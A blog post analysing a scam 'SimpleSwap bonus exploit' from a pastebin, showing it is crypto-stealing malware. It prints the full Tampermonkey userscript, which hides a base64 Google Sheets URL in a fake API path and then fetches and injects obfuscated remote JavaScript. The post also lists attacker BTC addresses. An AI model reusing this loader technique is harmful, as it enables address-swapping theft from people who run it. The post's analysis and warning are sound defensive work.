How to hack a hacker

[Blog Index]​ [RSS]​ [Prev: "Russian Bullshit" and its variant card games]

Posted on 2026-05-09 in crypto security .

The Setup

So I'm chilling on Saturday, surfing the web, and I come across a random pastebin: "This made me $13,000 in 2 days." Wow, maybe I can make some money too? What a magnanimous decision by this hacker to share this exploit!

pastebin_free_money.png

Figure 1: How generous.

Following the link to the google doc with exploit information, we see that it is supposedly an API bug.

We’ve identified a logic flaw in how SimpleSwap handles loyalty incentives. The endpoint responsible for applying the "25% Loyalty Bonus" (a perk meant for high-volume users) lacks proper server-side validation, allowing it to be triggered by unauthenticated users through a modified client-side request.

Hmm, that's plausible. Crypto websites are known for poor security.

The following steps demonstrate the exploit on the live site. It requires no special tools - just the Google Chrome browser, the Tampermonkey extension to run the request, and the source code of the request.

Okay, so it's a simple userscript. Let's see what it takes.

! WARNING (and spoiler): the following is malicious code. Don't run it.

// ==UserScript==
// @name         SimpleSwap Loyalty API Request
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Makes Bonus Request To SimpleSwap Loyalty API
// @author       The Protocol One
// @match        https://simpleswap.io/*
// @grant        GM_xmlhttpRequest
// @grant        unsafeWindow
// @connect      docs.google.com
// @run-at       document-end
// ==/UserScript==

(function() {
    'use strict';

    const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMTI4alZCVmJZVnpiSHJob0V6Ym85Z3paaFBLc3RFZGJISnJObEdJSTNjbkkvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCBBLEIgd2hlcmUgQT0nYXBpdjQnIG9yIEE9J2FwaXY1Jw/request/GET";

    GM_xmlhttpRequest({
        method: "GET",
        url: atob(api.split("bonus/")[1].split("/request")[0]),
        onload: function(apirequest) {
            const b = apirequest.responseText;
            const o = b.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
            const n = JSON.parse(o[1]);
            const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
            const s = u.get('apiv4') + u.get('apiv5');
            const callback = document.createElement('script');
            callback.textContent = s;
            document.documentElement.appendChild(callback);
            callback.remove();
        }
    });
})();
  • simpleswap.io API endpoint, check
  • GM_xmlHttprequest check.

Looks like it does what it says on the tin. But let's just check again before we plop this into Tampermonkey and start printing money.

A Deeper Look

const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMTI4alZCVmJZVnpiSHJob0V6Ym85Z3paaFBLc3RFZGJISnJObEdJSTNjbkkvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCBBLEIgd2hlcmUgQT0nYXBpdjQnIG9yIEE9J2FwaXY1Jw/request/GET";

That looks like a loyalty API endpoint, definitely nothing suspicious going on here, right?

Let's read on.

GM_xmlhttpRequest({
    method: "GET",
    url: atob(api.split("bonus/")[1].split("/request")[0]),

wait, why atob? (sidenote: truly amazing name for that function)

Fine, I'll partially evaluate this to see what's being put in the url field.

const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMTI4alZCVmJZVnpiSHJob0V6Ym85Z3paaFBLc3RFZGJISnJObEdJSTNjbkkvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCBBLEIgd2hlcmUgQT0nYXBpdjQnIG9yIEE9J2FwaXY1Jw/request/GET";
return atob(api.split("bonus/")[1].split("/request")[0])
https://docs.google.com/spreadsheets/d/128jVBVbYVzbHrhoEzbo9gzZhPKstEdbHJrNlGII3cnI/gviz/tq?sheet=API&headers=1&tq=select A,B where A='apiv4' or A='apiv5'

Ah, right. It's not actually a simpleswap.io link. It's pretending to be one, but actually contains the base64-encoded URL to some Google Sheet that probably contains some malicious payload. Obviously. For a minute I really thought I was going to make thousands of dollars for almost no effort on my end.

Let's see what's in this google sheet I guess…

sus_sheet.png

Figure 2: I'm not sure what this API key is for.

fetch("https://docs.google.com/spreadsheets/d/128jVBVbYVzbHrhoEzbo9gzZhPKstEdbHJrNlGII3cnI/gviz/tq?sheet=API&headers=1&tq=select%20A,B%20where%20A='apiv4'%20or%20A='apiv5'")
    .then(x => x.text())
    .then(x => console.log("\n" + x.slice(0, 120)))
undefined
/*O_o*/
google.visualization.Query.setResponse({"version":"0.6","reqId":"0","status":"ok","sig":"1784488270","table":{"c

(excuse the undefined) So that's why the script above mentions something about Google visualization query.

Let's keep doing what the malicious script was trying to do:

fetch("https://docs.google.com/spreadsheets/d/128jVBVbYVzbHrhoEzbo9gzZhPKstEdbHJrNlGII3cnI/gviz/tq?sheet=API&headers=1&tq=select%20A,B%20where%20A='apiv4'%20or%20A='apiv5'")
    .then(x => x.text())
    .then(x => {
        const o = x.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
        const n = JSON.parse(o[1]);
        const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
        const s = u.get('apiv4') + u.get('apiv5');
        console.log("\n" + s.slice(0, 120)); // sliced to not include the whole thing
    })
undefined
function gsWmArvD_buJEP(){const F$HrjEtVDG$xOhl=[  'cbf4f1e4f1bde4f5e3e4f9f4adb2fbe9f3bdf2f1fefef5e2b2cd',  'e0f1e2f5fee

There we go, that's the actual script being injected into the browser. Not some simple SimpleSwap API exploitation, a scary blob of obfuscated JavaScript.

Now just plop that into whatever coding agent you want and you'll probably get a similar result:

It's a SimpleSwap crypto exchange manipulator that:

  • Hooks `fetch` to modify API responses
  • Injects 26% price markup
  • Replaces BTC deposit addresses with attacker addresses
  • Creates fake "bonus" UI

I don't think it's very interesting how it achieves these things, it's just simple DOM manipulation, clipboard manipulation, and so on.

Here are the BTC addresses:

bc1qdm6ayzk2r46wg77amhfw2fqjpv2gcvgv9mkv00
bc1qxj6npjvldmxfckt6z0y3djmd4smmc2z2t2s0jc
bc1qhvxfcyduc0rc465suwuy6c3kfv2e37z84fppea
bc1qsgvhf532xmuv2aglefy7sk903zh8j8l40ngphs
bc1qydl8sftae2zg5emdwkqdmnnj6s52m5ugt7j5sv
bc1q7w3clxlc37g3qp4ncv6jv444ar2k6u95d5c4dr
bc1qdj2mupjl9v84ale3t87mqp9p8766kznz65f6nk
bc1q6kak43c4v5e9h5dmykqdlv3wmehfsypec7dn3w
bc1qg3grc2u9350sx5lpfcr26gxfkmxdfshm2nv8j2
bc1q7gxmee9cqzmcc3umr0hlr5n9vq0fd029w5dmwr
bc1qy4939u44na05r5w9ua2e4gh4ntrf0k0aph8pwr
bc1q8jgx4548esgmpcggjstdhqzw9uff86ux7sm456
bc1qzj2zrd6mu853mnhj25cyn3rwtk45srnjk3l6ax
bc1ql34wx53nnguy590yl4jy9dlzl00aucyn93r2mm
bc1qw8z6pcszj0ywukghynrhgzthudys7hsna0g9ez
bc1qcqyme7d7jc30n87hf0kcrpzlrky6dhlfre0ad5
bc1q0flwup46ea7as8rhlewaf78vtd3crymv9enguy
bc1q20yf6mdmg7tzmezpj2hrprcvk7rczsacxrpdv5
bc1qf3gt3xf2l2ktz5keuvgzrrrj9z79q4vjxe9s6v
bc1qefdtsj6mqrpg2klcjkedhnsyvn8yumdcu8c80u
bc1q73kyluy5hwavnrekqvnkuv07u9x2tau5r9y3we
bc1qv2npqn33hp08ldlptr2zhxm0r9jltek8hv8lvw
bc1q7g0dj65r6pdl6w3e30lhu5q6fmaeauuygrzq0s
bc1qzhn9u5kgh0x5etfyrx4x7tnhhve2ffz0le2rek
bc1q3h7ycn4dmxsy6x2h6mz0wh8w59el2uh5vw3p2c
bc1qfs0ggh0jupw9lu4qhx980j89c9p7tdjvyxg6hg
bc1ql7v9wpaj750cvwagp6vnu7pcvfs4qykgq6v9g3
bc1qh048x0wy2p5gvx6em92tk2xvzcvv0vkx6f0nqp
bc1qcd3j8z2gjxz0u47slggue9qfmnqpka9edtqyj9
bc1q0y237fxt9apr3xw5z5wgtetqeqr7rpz8aqy3y4

Takeaways

I'm utterly shocked that someone shared a script claiming to make me tons of money easily which instead stole money from me.

What is interesting about this is that it tries to look like a simple API exploit to someone who can read JavaScript code, but really hides a payload in a Google Sheet and hides the Google Sheet link inside the fake API URL.

The obfuscation methods used in the actual payload are quite extensive, but fell apart in like 30 seconds to an open-source coding agent connected to a free model.

I also checked if those addresses had any balance or activity and … nothing. I was hoping that the statement

This has made me $13,000 in 2 days.

would have been ironically true (due to siphoning money from other people via the fake bonus scheme).

But alas, it's not.

(I reported the paste to PasteBin, just for fun.)

[Blog Index]​ [RSS]​ [Prev: "Russian Bullshit" and its variant card games]